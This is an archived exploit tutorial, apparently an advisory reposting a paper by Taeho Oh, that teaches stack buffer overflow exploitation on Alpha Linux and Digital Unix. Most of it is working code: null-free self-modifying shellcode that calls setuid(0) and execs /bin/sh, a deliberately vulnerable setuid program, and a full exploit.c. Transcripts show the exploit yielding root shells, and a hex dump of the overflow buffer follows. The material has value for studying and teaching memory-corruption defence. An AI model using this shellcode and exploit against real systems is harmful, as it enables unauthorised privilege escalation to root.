COMMAND

    Buffer overflow exploit in the alpha linux

SYSTEMS AFFECTED

    Linux (on alpha - works with DU too)

PROBLEM

    Taeho Oh posted following.  There are many exploit code of  buffer
    overflow.  However, almost all codes works well only in the  intel
    x86 linux.   This paper  will attempt  to explain  how you exploit
    same bug in the alpha linux.  You have to know assembly  language,
    C language, and Linux.   Of course, you have  to know what  buffer
    overflow is.  You can  get the information of the  buffer overflow
    in phrack 49-14 (Smashing The Stack For Fun And Profit by Aleph1).
    It  is  a  wonderful  paper  of  buffer  overflow and it is highly
    recommended you to read that before reading this one.  You have to
    know  how  much  registers  alpha  has  to  make a shellcode.  All
    registers have 64 bits.

    Registers of alpha:

    $0	v0
    $1	t0
    $2	t1
    $3	t2
    $4	t3
    $5	t4
    $6	t5
    $7	t6
    $8	t7
    $9	s0
    $10	s1
    $11	s2
    $12	s3
    $13	s4
    $14	s5
    $15	fp
    $16	a0
    $17	a1
    $18	a2
    $19	a3
    $20	a4
    $21	a5
    $22	t8
    $23	t9
    $24	t10
    $25	t11
    $26	ra
    $27	t12
    $28	at
    $29	gp
    $30	sp
    $31	zero
    $32	pc
    $33	vfp

    Now, you will make a simple  shellcode.  You need not think  about
    '\0'  character  now.   Because  you  can  modify  and remove '\0'
    character later.

    shellcodeasm.c:

    #include<stdio.h>
    main()
    {
	    char *name[2];
	    name[0]="/bin/sh";
	    name[1]=NULL;
	    execve(name[0],name,NULL);
    }

    compile and disassemble

    [ ohhara@ohhara ~ ] {1} $ gcc -o shellcodeasm -static shellcodeasm.c
    [ ohhara@ohhara ~ ] {2} $ gdb shellcodeasm
    GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
    Copyright 1998 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "alpha-redhat-linux"...
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x1200001e8 <main>:     ldah    gp,18(t12)
    0x1200001ec <main+4>:   lda     gp,30704(gp)
    0x1200001f0 <main+8>:   lda     sp,-32(sp)
    0x1200001f4 <main+12>:  stq     ra,0(sp)
    0x1200001f8 <main+16>:  stq     fp,8(sp)
    0x1200001fc <main+20>:  mov     sp,fp
    0x120000200 <main+24>:  ldq     t0,-30952(gp)
    0x120000204 <main+28>:  stq     t0,16(fp)
    0x120000208 <main+32>:  stq     zero,24(fp)
    0x12000020c <main+36>:  ldq     a0,16(fp)
    0x120000210 <main+40>:  addq    fp,0x10,a1
    0x120000214 <main+44>:  clr     a2
    0x120000218 <main+48>:  ldq     t12,-32456(gp)
    0x12000021c <main+52>:  jsr     ra,(t12),0x120007180 <__execve>
    0x120000220 <main+56>:  ldah    gp,18(ra)
    0x120000224 <main+60>:  lda     gp,30648(gp)
    0x120000228 <main+64>:  mov     fp,sp
    0x12000022c <main+68>:  ldq     ra,0(sp)
    0x120000230 <main+72>:  ldq     fp,8(sp)
    0x120000234 <main+76>:  addq    sp,0x20,sp
    0x120000238 <main+80>:  ret     zero,(ra),0x1
    End of assemler dump.
    (gdb) disassemble execve
    Dump of assembler code for function __execve:
    0x120007180 <__execve>: lda     v0,59(zero)
    0x120007184 <__execve+4>:       callsys
    0x120007188 <__execve+8>:       bne     a3,0x120007190 <__execve+16>
    0x12000718c <__execve+12>:      ret     zero,(ra),0x1
    0x120007190 <__execve+16>:      br      gp,0x120007194 <__execve+20>
    0x120007194 <__execve+20>:      ldah    gp,18(gp)
    0x120007198 <__execve+24>:      lda     gp,2116(gp)
    0x12000719c <__execve+28>:      ldq     t12,-31592(gp)
    0x1200071a0 <__execve+32>:
        jmp zero,(t12),0x120007738 <__syscall_error>
    End of assembler dump.
    (gdb)

    Now, you  can know  the condition  to execute  the "/bin/sh".   To
    execute "/bin/sh"

    a0($16) = The address of "/bin/sh\0"
    a1($17) = The address of the address of "/bin/sh\0"
    a2($18) = 0
    v0($0) = 59
    callsys

    With  this  information,  you  can  make  a shellcode very easily.
    testsc1.c:

    char shellcode[]=
	    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	    "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
	    "\x12\x04\xff\x47"      /* clr $18                      */
	    "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
	    "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
	    "\x68\x00\x7f\x26"      /* ldah $19,0x0068($31)         */
	    "\x2f\x73\x73\x22"      /* lda $19,0x732f($19)          */
	    "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
	    "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
	    "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
	    "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
	    "\x3b\x00\x1f\x20"      /* lda $0,59($31)               */
	    "\x83\x00\x00\x00";     /* callsys                      */

    typedef void (*F)();

    main()
    {
	    F fp;
	    fp=(F)(&shellcode);
	    fp();
    }

    You may be frightened at the code.  Don't worry.  There is a line
    by line explanation.

    testsc1.c shellcode line by line explanation:

    char shellcode[]=

	    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	    /* $16 = $30 - 200                                      */
	    /* $30 is stack pointer. To point "/bin/sh\0",          */
	    /* shellcode needs free memory space. $30 - 200 may be  */
	    /* free. :) "/bin/sh\0" character string will be stored */
	    /* in the $30 - 200 address. To execute "/bin/sh", $16  */
	    /* have to point to "/bin/sh\0"                         */
	    /* The 'q' of the 'subq' means 64 bit.                  */

	    "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
	    /* $17 = $30 - 192                                      */
	    /* To execute "/bin/sh", $17 have to point to the       */
	    /* address of "/bin/sh\0". The address of "/bin/sh\0"   */
	    /* will be stored in the $30 - 192 address.             */

	    "\x12\x04\xff\x47"      /* clr $18                      */
	    /* Clear $18 register. To execute "/bin/sh" $18         */
	    /* register must be 0.                                  */

	    "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
	    /* Store the address of "/bin/sh\0" in the $30 - 192    */
	    /* address.                                             */

	    "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
	    /* Make 0 in the address of $30 - 184.                  */

	    "\x68\x00\x7f\x26"      /* ldah $19,0x0068($31)         */
	    /* $19 = 0x00680000                                     */
	    /* $31 is always 0                                      */

	    "\x2f\x73\x73\x22"      /* lda $19,0x732f($19)          */
	    /* $19 = 0x0068732f                                     */
	    /* $19 = "/sh\0"                                        */
	    /* Because alpha is little endian.                      */

	    "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
	    /* Store $19 in $30 - 196 address.                      */
	    /* $30 - 196 = "/sh\0"                                  */
	    /* The 'l' of the 'stl' means 32 bit                    */

	    "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
	    /* $19 = 0x6e690000                                     */

	    "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
	    /* $19 = 0x6e69622f                                     */
	    /* $19 = "/bin"                                         */

	    "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
	    /* Store $19 in $30 - 200 address.                      */
	    /* $30 - 200 = "/bin"                                   */

	    "\x3b\x00\x1f\x20"      /* lda $0,59($31)               */
	    /* $0 = 59                                              */
	    /* To execute "/bin/sh" $0 must be 59                   */

	    "\x83\x00\x00\x00";     /* callsys                      */
	    /* System call                                          */
	    /* Execute "/bin/sh"                                    */

    compile and execute testsc1.c

    [ ohhara@ohhara ~ ] {1} $ gcc testsc1.c -o testsc1
    [ ohhara@ohhara ~ ] {2} $ ./testsc1
    bash$

    Now, you have a shellcode of alpha linux.  However, you can't  use
    it to exploit the vulnerable programs.  Because the shellcode  has
    many '\0' characters.   You have to  remove all of  '\0' character
    to use buffer overflow exploit.  You can remove '\0' characters by
    changing the instructions to other instructions which works same.

    remove '\0' character:

    from

    "\x68\x00\x7f\x26"      /* ldah $19,0x0068($31)         */
    "\x2f\x73\x73\x22"      /* lda $19,0x732f($19)          */

    to

    "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
    "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
    "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */

    One '\0' is removed.

    from

    "\x3b\x00\x1f\x20"      /* lda $0,59($31)               */

    to

    "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
    "\x20\x35\x60\x42"      /* subq $19,1,$0                */

    Two '\0' are removed.  Improved shellcode:

    char shellcode[]=
	    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	    "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
	    "\x12\x04\xff\x47"      /* clr $18                      */
	    "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
	    "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
	    "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
	    "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
	    "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
	    "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
	    "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
	    "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
	    "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
	    "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
	    "\x20\x35\x60\x42"      /* subq $19,1,$0                */
	    "\x83\x00\x00\x00";     /* callsys                      */

    compile and execute testsc2.c:

    [ ohhara@ohhara ~ ] {1} $ gcc testsc2.c -o testsc2
    [ ohhara@ohhara ~ ] {2} $ ./testsc2
    bash$

    You have only one instruction to remove, now.  But it's  difficult
    to remove.   Because callsys insturction  must be used  to execute
    "/bin/sh" and callsys  contains three '\0'  characters.  You  have
    to insert  the code  which modifies  the shellcode  itself to  use
    callsys instruction.

    Try to remove ALL  '\0' character in the  shellcode.  You have  to
    remove '\0' character of callsys instruction.  Final shellcode:

    char shellcode[]=
	    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	    /* $16 = $30 - 200
	    /* $16 must have the shellcode address. However, before */
	    /* the bsr instruction, $16 can't have the address.     */
	    /* This instruction just store the meaningless address. */
	    /* The all instruction before bsr are meaningless.      */

	    "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
	    /* $17 = 0 or 0x83                                      */
	    /* $17 = 0x83                                           */

	    "\x12\x94\x07\x42"      /* addq $16,60,$18              */
	    "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
	    /* $17("\x83\x00\x00\x00") is stored in $16 + 60 - 4    */
	    /* address.                                             */
	    /* ( "\xff\xff\xff\xff" -> "\x83\x00\x00\x00" )         */

	    "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
	    "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
	    /* $17 = "\x1f\x04\xff\x47"                             */
	    /* "\x1f\x04\xff\x47" is nop instruction.               */

	    "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
	    /* change "bsr $16,-28" instruction" into nop           */
	    /* instruction to pass through the bsr instruction.     */
	    /* ( "\xf9\xff\x1f\xd2" -> "\x1f\x04\xff\x47" )         */

	    "\xf9\xff\x1f\xd2"      /* bsr $16,-28                  */
	    /* Jump to "bis $31,0x83,$17" and store the current     */
	    /* address in the $16.                                  */
	    /* After jump, this insturction will be changed into    */
	    /* nop instruction.                                     */

	    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	    "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
	    "\x12\x04\xff\x47"      /* clr $18                      */
	    "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
	    "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
	    "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
	    "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
	    "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
	    "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
	    "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
	    "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
	    "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
	    "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
	    "\x20\x35\x60\x42"      /* subq $19,1,$0                */

	    "\xff\xff\xff\xff";     /* callsys ( disguised )        */
	    /* This will be changed to "\x83\x00\x00\x00"           */

    compile and execute testsc3.c:

    [ ohhara@ohhara ~ ] {1} $ gcc testsc3.c -o testsc3
    [ ohhara@ohhara ~ ] {2} $ ./testsc3
    bash$

    Insert setuid(0) code in the shellcode.

    You may not get the  rootshell with your shellcode by  overflowing
    the vulnerable setuid root program.  You have to insert  setuid(0)
    code into the shellcode.

    setuidasm.c:

    main()
    {
	    setuid(0);
    }

    compile and disassemble

    [ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
    [ ohhara@ohhara ~ ] {2} $ gdb setuidasm
    GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
    Copyright 1998 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "alpha-redhat-linux"...
    (gdb) disassemble main
    Dump of assembler code for function main:
    0x1200001e8 <main>:     ldah    gp,18(t12)
    0x1200001ec <main+4>:   lda     gp,30696(gp)
    0x1200001f0 <main+8>:   lda     sp,-16(sp)
    0x1200001f4 <main+12>:  stq     ra,0(sp)
    0x1200001f8 <main+16>:  stq     fp,8(sp)
    0x1200001fc <main+20>:  mov     sp,fp
    0x120000200 <main+24>:  clr     a0
    0x120000204 <main+28>:  ldq     t12,-31056(gp)
    0x120000208 <main+32>:  jsr     ra,(t12),0x120007180 <__setuid>
    0x12000020c <main+36>:  ldah    gp,18(ra)
    0x120000210 <main+40>:  lda     gp,30660(gp)
    0x120000214 <main+44>:  mov     fp,sp
    0x120000218 <main+48>:  ldq     ra,0(sp)
    0x12000021c <main+52>:  ldq     fp,8(sp)
    0x120000220 <main+56>:  addq    sp,0x10,sp
    0x120000224 <main+60>:  ret     zero,(ra),0x1
    End of assembler dump.
    (gdb) disassemble setuid
    Dump of assembler code for function __setuid:
    0x120007180 <__setuid>: lda     v0,23(zero)
    0x120007184 <__setuid+4>:       callsys
    0x120007188 <__setuid+8>:       bne     a3,0x120007190 <__setuid+16>
    0x12000718c <__setuid+12>:      ret     zero,(ra),0x1
    0x120007190 <__setuid+16>:      br      gp,0x120007194 <__setuid+20>
    0x120007194 <__setuid+20>:      ldah    gp,18(gp)
    0x120007198 <__setuid+24>:      lda     gp,2108(gp)
    0x12000719c <__setuid+28>:      ldq     t12,-31600(gp)
    0x1200071a0 <__setuid+32>:
        jmp zero,(t12),0x120007738 <__syscall_error>
    End of assembler dump.
    (gdb)

    Now, you can know the condition to setuid(0).  To setuid(0):

    a0($16) = 0
    v0($0) = 23
    callsys

    This contains callsys instruction. So  you have to remove '\0'  of
    the setuid(0) code, too.

    testsc4.c:

    char shellcode[]=
	    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	    "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
	    "\x12\x14\x02\x42"      /* addq $16,16,$18              */
	    "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
	    "\x12\x94\x09\x42"      /* addq $16,76,$18              */
	    "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
	    "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
	    "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
	    "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
	    "\xf7\xff\x1f\xd2"      /* bsr $16,-32                  */
	    "\x10\x04\xff\x47"      /* clr $16                      */
	    "\x11\x14\xe3\x43"      /* addq $31,24,$17              */
	    "\x20\x35\x20\x42"      /* subq $17,1,$0                */
	    "\xff\xff\xff\xff"      /* callsys ( disguised )        */
	    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	    "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
	    "\x12\x04\xff\x47"      /* clr $18                      */
	    "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
	    "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
	    "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
	    "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
	    "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
	    "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
	    "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
	    "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
	    "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
	    "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
	    "\x20\x35\x60\x42"      /* subq $19,1,$0                */
	    "\xff\xff\xff\xff";     /* callsys ( disguised )        */

    typedef void (*F)();

    main()
    {
	    F fp;
	    fp=(F)(&shellcode);
	    fp();
    }

    If  you  read  this  paper,  you  can recognize what testsc4.c do.
    compile and execute testsc4.c

    [ ohhara@ohhara ~ ] {1} $ gcc testsc4.c -o testsc4
    [ ohhara@ohhara ~ ] {2} $ ./testsc4
    bash$

    You can exploit a classic vulnernable program in the alpha  linux.
    This is an example.

    vulnerable.c:

    #include<stdio.h>
    #include<string.h>

    void vulfunc(char *buf)
    {
	    char localbuf[1024];
	    strcpy(localbuf+1,buf);
    }

    main(int argc,char **argv)
    {
	    if(argc>1)
		    vulfunc(argv[1]);
    }

    You can't change the return address of the vulfunc function.  When
    you try to  overflow the localbuf  of vulfunc, you  can change the
    return address of  the main function.  (It's similar to  the stack
    of the sparc.)  Because  the localbuf is stored after  the vulfunc
    return address.  The intel  x86 is that localbuf is  stored before
    the vulfunc  return address.   Therefore, by  overflowing localbuf
    in  the  intel  x86,  localbuf  can  change  the return address of
    vulfunc function.   However, in the  alpha, localbuf can't  change
    the return address of vulfunc  function and can change the  return
    address of  the main  function.   To execute  the instruction, the
    code must be  well aligned.   For example, the  instruction can be
    located in  0x120000000 and  0x120000004 and  can't be  located in
    0x120000001, 0x120000002, and 0x120000003. (step by 4)

    The address of alpha is 64  bit. Almost all cases, the address  of
    stack is looks like 0x000000011fffff24. The address has many  '\0'
    characters.  Therefore, you can't insert many return addresses  in
    the  buffer.  You  must  insert  only  one.  So  you must know the
    location of  the return  address exactly.   It's not  difficult to
    find that.  Because the location of the return address is  decided
    at the compile time.

    exploit.c:

    #include<stdio.h>
    #include<string.h>

    #define OFFSET                            0
    #define ALIGN                             3     /* 0, 1, 2, 3           */
    #define RET_POSITION                   1028     /* 0, 4, 8, 12, . . .   */
    #define NOP              "\x1f\x04\xff\x47"

    char shellcode[]=
	    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	    "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
	    "\x12\x14\x02\x42"      /* addq $16,16,$18              */
	    "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
	    "\x12\x94\x09\x42"      /* addq $16,76,$18              */
	    "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
	    "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
	    "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
	    "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
	    "\xf7\xff\x1f\xd2"      /* bsr $16,-32                  */
	    "\x10\x04\xff\x47"      /* clr $16                      */
	    "\x11\x14\xe3\x43"      /* addq $31,24,$17              */
	    "\x20\x35\x20\x42"      /* subq $17,1,$0                */
	    "\xff\xff\xff\xff"      /* callsys ( disguised )        */
	    "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
	    "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
	    "\x12\x04\xff\x47"      /* clr $18                      */
	    "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
	    "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
	    "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
	    "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
	    "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
	    "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
	    "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
	    "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
	    "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
	    "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
	    "\x20\x35\x60\x42"      /* subq $19,1,$0                */
	    "\xff\xff\xff\xff";     /* callsys ( disguised )        */

    unsigned long get_sp(void)
    {
	    __asm__("bis $31,$30,$0");
    }

    int main(int argc,char **argv)
    {
	    char buff[RET_POSITION+8+ALIGN+1],*ptr;
	    char *nop;
	    int offset=OFFSET,bsize=RET_POSITION+8+ALIGN+1;
	    unsigned long sp,addr;
	    int i;

	    if(argc>1)
		    offset=atoi(argv[1]);

	    nop=NOP;

	    for(i=0;i<bsize;i++)
		    buff[i]='a';

	    for(i=0;i<bsize;i++)
		    buff[i+ALIGN]=nop[i%4];

	    sp=get_sp();
	    addr=sp-offset;

	    ptr=buff+bsize-strlen(shellcode)-8-1;
	    for(i=0;i<strlen(shellcode);i++)
		    *(ptr++)=shellcode[i];

	    buff[RET_POSITION+ALIGN]=(addr&0x00000000000000ff);
	    buff[RET_POSITION+ALIGN+1]=(addr&0x000000000000ff00)>>8;
	    buff[RET_POSITION+ALIGN+2]=(addr&0x0000000000ff0000)>>16;
	    buff[RET_POSITION+ALIGN+3]=(addr&0x00000000ff000000)>>24;
	    buff[RET_POSITION+ALIGN+4]=(addr&0x000000ff00000000)>>32;
	    buff[RET_POSITION+ALIGN+5]=(addr&0x0000ff0000000000)>>40;
	    buff[RET_POSITION+ALIGN+6]=(addr&0x00ff000000000000)>>48;
	    buff[RET_POSITION+ALIGN+7]=(addr&0xff00000000000000)>>56;

	    buff[bsize-1]='\0';

	    printf("Jump to 0x%016x\n",addr);

	    execl("./vulnerable","vulnerable",buff,NULL);
    }

    exploit the vulnerable program in the alpha linux:

    [ ohhara@ohhara ~ ] {1} $ uname -a
    Linux ohhara.postech.ac.kr 2.0.35 #11 Mon Oct 19 22:58:15 EDT 1998 alpha unknown
    [ ohhara@ohhara ~ ] {2} $ ls -l vulnerable
    -rwsr-xr-x   1 root     root        13906 Nov 13 14:55 vulnerable*
    [ ohhara@ohhara ~ ] {3} $ ls -l exploit
    -rwxrwxr-x   1 ohhara   ohhara      15541 Nov 13 18:22 exploit*
    [ ohhara@ohhara ~ ] {4} $ ./exploit
    Jump to 0x000000001ffff6c8
    Illegal instruction
    [ ohhara@ohhara ~ ] {5} $ ./exploit 400
    Jump to 0x000000001ffff530
    bash# whoami
    root
    bash#

    Exploit the vulnerable  program in the  digital unix (same  source
    files):

    [ ohhara@ohhara ~ ] {1} $ uname -a
    OSF1 monsky.postech.ac.kr V4.0 464 alpha
    [ ohhara@ohhara ~ ] {2} $ ls -l vulnerable
    -rwsr-xr-x   1 root     system     24576 Nov 13 20:31 vulnerable*
    [ ohhara@ohhara ~ ] {3} $ ls -l exploit
    -rwxr-xr-x   1 ohhara   system     24576 Nov 13 20:31 exploit*
    [ ohhara@ohhara ~ ] {4} $ ./exploit
    Jump to 0x000000001ffff030
    # whoami
    root
    #

    The buffer overflow data:

        0  61 61 61 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      aaa...G...G...G.
       16  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
       32  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
       48  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
       64  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
       80  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
       96  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      112  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      128  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      144  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      160  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      176  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      192  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      208  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      224  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      240  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      256  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      272  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      288  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      304  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      320  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      336  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      352  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      368  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      384  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      400  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      416  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      432  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      448  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      464  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      480  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      496  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      512  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      528  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      544  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      560  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      576  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      592  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      608  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      624  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      640  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      656  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      672  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      688  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      704  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      720  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      736  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      752  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      768  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      784  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      800  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      816  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      832  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      848  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      864  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      880  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
